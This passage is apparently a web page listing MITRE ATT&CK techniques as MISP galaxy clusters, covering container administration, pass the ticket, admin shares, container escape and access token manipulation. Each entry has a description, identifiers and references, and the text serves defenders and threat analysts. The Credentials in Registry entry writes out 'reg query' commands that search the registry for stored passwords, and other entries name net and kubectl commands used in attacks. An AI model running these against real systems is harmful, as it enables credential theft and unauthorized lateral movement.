- https://capec.mitre.org/data/definitions/555.html - webarchive
- https://github.com/nccgroup/redsnarf - webarchive
- https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - webarchive
- https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1076 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Container Administration Command - T1609
Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)
Internal MISP references
UUID 7b50a1d3-4ca7-45d1-989d-a6503f04bfe1 which can be used as unique global reference for Container Administration Command - T1609 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1609 - webarchive
- https://docs.docker.com/engine/reference/commandline/dockerd/ - webarchive
- https://docs.docker.com/engine/reference/commandline/exec/ - webarchive
- https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime - webarchive
- https://kubernetes.io/docs/concepts/overview/kubernetes-api/ - webarchive
- https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/ - webarchive
- https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1609 |
| kill_chain | ['attack-Containers:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Containers'] |
NTFS File Attributes - T1096
Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
Internal MISP references
UUID f2d44246-91f1-478a-b6c8-1227e0ca109d which can be used as unique global reference for NTFS File Attributes - T1096 in MISP communities and other software using the MISP galaxy
External references
- http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html - webarchive
- http://msdn.microsoft.com/en-us/library/aa364404 - webarchive
- https://attack.mitre.org/techniques/T1096 - webarchive
- https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - webarchive
- https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/ - webarchive
- https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/ - webarchive
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ - webarchive
- https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ - webarchive
- https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea - webarchive
- https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1096 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Permission Groups Discovery - T1069
Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.
Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)
Internal MISP references
UUID 15dbf668-795c-41e6-8219-f0447c0e64ce which can be used as unique global reference for Permission Groups Discovery - T1069 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1069 |
| kill_chain | ['attack-Windows:discovery', 'attack-Azure-AD:discovery', 'attack-Office-365:discovery', 'attack-SaaS:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Google-Workspace:discovery', 'attack-Containers:discovery'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers'] |
Windows Admin Shares - T1077
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$.
Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)
The Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)
Internal MISP references
UUID ffe742ed-9100-4686-9e00-c331da544787 which can be used as unique global reference for Windows Admin Shares - T1077 in MISP communities and other software using the MISP galaxy
External references
- http://support.microsoft.com/kb/314984 - webarchive
- https://attack.mitre.org/techniques/T1077 - webarchive
- https://capec.mitre.org/data/definitions/561.html - webarchive
- https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem - webarchive
- https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts - webarchive
- https://en.wikipedia.org/wiki/Server_Message_Block - webarchive
- https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc - webarchive
- https://technet.microsoft.com/bb490717.aspx - webarchive
- https://technet.microsoft.com/en-us/library/cc787851.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1077 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Pass the Ticket - T1097
Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
In this technique, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)
Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)
Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)
Internal MISP references
UUID a257ed11-ff3b-4216-8c9d-3938ef57064c which can be used as unique global reference for Pass the Ticket - T1097 in MISP communities and other software using the MISP galaxy
External references
- http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos - webarchive
- http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf - webarchive
- https://adsecurity.org/?p=556 - webarchive
- https://attack.mitre.org/techniques/T1097 - webarchive
- https://capec.mitre.org/data/definitions/645.html - webarchive
- https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1097 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Disabling Security Tools - T1089
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Internal MISP references
UUID 2e0dd10b-676d-4964-acd0-8a404c92b044 which can be used as unique global reference for Disabling Security Tools - T1089 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1089 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Space after Filename - T1151
Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
Internal MISP references
UUID e2907cea-4b43-4ed7-a570-0fdf0fbeea00 which can be used as unique global reference for Space after Filename - T1151 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1151 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:execution', 'attack-macOS:execution'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Escape to Host - T1611
Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)
There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as unshare and keyctl to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)
Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker.sock, to break out of the container via a Container Administration Command.(Citation: Container Escape) Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)
Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers running on the host, or setting up a command and control channel on the host.
Internal MISP references
UUID 4a5b7ade-8bb5-4853-84ed-23f262002665 which can be used as unique global reference for Escape to Host - T1611 in MISP communities and other software using the MISP galaxy
External references
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping - webarchive
- https://attack.mitre.org/techniques/T1611 - webarchive
- https://docs.docker.com/get-started/overview/ - webarchive
- https://docs.docker.com/storage/bind-mounts/ - webarchive
- https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/ - webarchive
- https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/ - webarchive
- https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/ - webarchive
- https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/ - webarchive
- https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1611 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Container: Container Creation', 'Kernel: Kernel Module Load', 'Process: OS API Execution', 'Process: Process Creation', 'Volume: Volume Modification'] |
| mitre_platforms | ['Windows', 'Linux', 'Containers'] |
Create strategic plan - T1231
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)
Internal MISP references
UUID ec739e26-d097-4804-b04a-54dd81ff11e0 which can be used as unique global reference for Create strategic plan - T1231 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1231 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Capture SMS Messages - T1412
A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.
On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.
On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.
Internal MISP references
UUID e8b4e1ec-8e3b-484c-9038-4459b1ed8060 which can be used as unique global reference for Capture SMS Messages - T1412 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1412 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Credentials in Registry - T1214
The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)
- Local Machine Hive:
reg query HKLM /f password /t REG_SZ /s - Current User Hive:
reg query HKCU /f password /t REG_SZ /s
Internal MISP references
UUID 2edd9d6a-5674-4326-a600-ba56de467286 which can be used as unique global reference for Credentials in Registry - T1214 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1214 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
System Time Discovery - T1124
An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or systemsetup on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)
System time information may be gathered in a number of ways, such as with Net on Windows by performing net time \hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as GetTickCount() to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)
On network devices, Network Device CLI commands such as show clock detail can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)
In addition, system calls – such as time() – have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as systemsetup -gettimezone or timeIntervalSinceNow to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)
This information could be useful for performing other techniques, such as executing a file with a Scheduled Task/Job(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. System Location Discovery). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)
Internal MISP references
UUID f3c544dc-673c-4ef3-accb-53229f1ae077 which can be used as unique global reference for System Time Discovery - T1124 in MISP communities and other software using the MISP galaxy
External references
- https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/ - webarchive
- https://attack.mitre.org/techniques/T1124 - webarchive
- https://msdn.microsoft.com/ms724961.aspx - webarchive
- https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/ - webarchive
- https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac - webarchive
- https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings - webarchive
- https://wiki.archlinux.org/title/System_time - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674 - webarchive
- https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/ - webarchive
- https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082 - webarchive
- https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis - webarchive
- https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf - webarchive
- https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1124 |
| kill_chain | ['attack-Windows:discovery', 'attack-Network:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Network', 'Linux', 'macOS'] |
Determine strategic target - T1241
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
Internal MISP references
UUID 91a3735f-817a-4450-8ed4-f05a0f5c3877 which can be used as unique global reference for Determine strategic target - T1241 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1241 |
| kill_chain | ['pre-attack:target-selection'] |
Browser Information Discovery - T1217
Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)
Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.
Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., %APPDATA%/Google/Chrome).(Citation: Chrome Roaming Profiles)
Internal MISP references
UUID 5e4a2073-9643-44cb-a0b5-e7f4048446c7 which can be used as unique global reference for Browser Information Discovery - T1217 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1217 |
| kill_chain | ['attack-Linux:discovery', 'attack-Windows:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Netsh Helper DLL - T1128
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)
Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)
Internal MISP references
UUID bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2 which can be used as unique global reference for Netsh Helper DLL - T1128 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1128 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Remote Access Software - T1219
An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as VNC, Team Viewer, AnyDesk, ScreenConnect, LogMein, AmmyyAdmin, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)
Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system.
Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.
Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)
Internal MISP references
UUID 4061e78c-1284-44b4-9116-73e4ac3912f7 which can be used as unique global reference for Remote Access Software - T1219 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1219 - webarchive
- https://blog.crysys.hu/2013/03/teamspy/ - webarchive
- https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf - webarchive
- https://support.google.com/chrome/answer/1649523 - webarchive
- https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708 - webarchive
- https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1219 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-Windows:command-and-control', 'attack-macOS:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
External Remote Services - T1133
Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
Internal MISP references
UUID 10d51417-ee35-4589-b1ff-b6df1c334e8d which can be used as unique global reference for External Remote Services - T1133 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1133 - webarchive
- https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac - webarchive
- https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - webarchive
- https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html - webarchive
- https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1133 |
| kill_chain | ['attack-Windows:persistence', 'attack-Linux:persistence', 'attack-Containers:persistence', 'attack-macOS:persistence', 'attack-Windows:initial-access', 'attack-Linux:initial-access', 'attack-Containers:initial-access', 'attack-macOS:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows', 'Linux', 'Containers', 'macOS'] |
Obfuscation or cryptography - T1313
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)
Internal MISP references
UUID c2ffd229-11bb-4fd8-9208-edbe97b14c93 which can be used as unique global reference for Obfuscation or cryptography - T1313 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1313 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Access Token Manipulation - T1134
Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
Internal MISP references
UUID dcaa092b-7de9-4a21-977f-7fcb77e89c48 which can be used as unique global reference for Access Token Manipulation - T1134 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1134 - webarchive
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - webarchive
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - webarchive
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - webarchive
- https://pentestlab.blog/2017/04/03/token-manipulation/ - webarchive
- https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - webarchive
- https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1134 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata', 'User Account: User Account Metadata'] |
| mitre_platforms | ['Windows'] |
Account Access Removal - T1531
Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
In Windows, Net utility, Set-LocalUser and Set-ADAccountPassword PowerShell cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy.
Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.
Internal MISP references
UUID b24e2a20-3b3d-4bf0-823b-1ed765398fb0 which can be used as unique global reference for Account Access Removal - T1531 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1531 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Office-365:impact', 'attack-SaaS:impact'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'User Account: User Account Deletion', 'User Account: User Account Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS'] |
Network Share Discovery - T1135
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.
Internal MISP references
UUID 3489cfc5-640f-4bb3-a103-9137b97de79f which can be used as unique global reference for Network Share Discovery - T1135 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1135 |
| kill_chain | ['attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Linux:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Office Application Startup - T1137
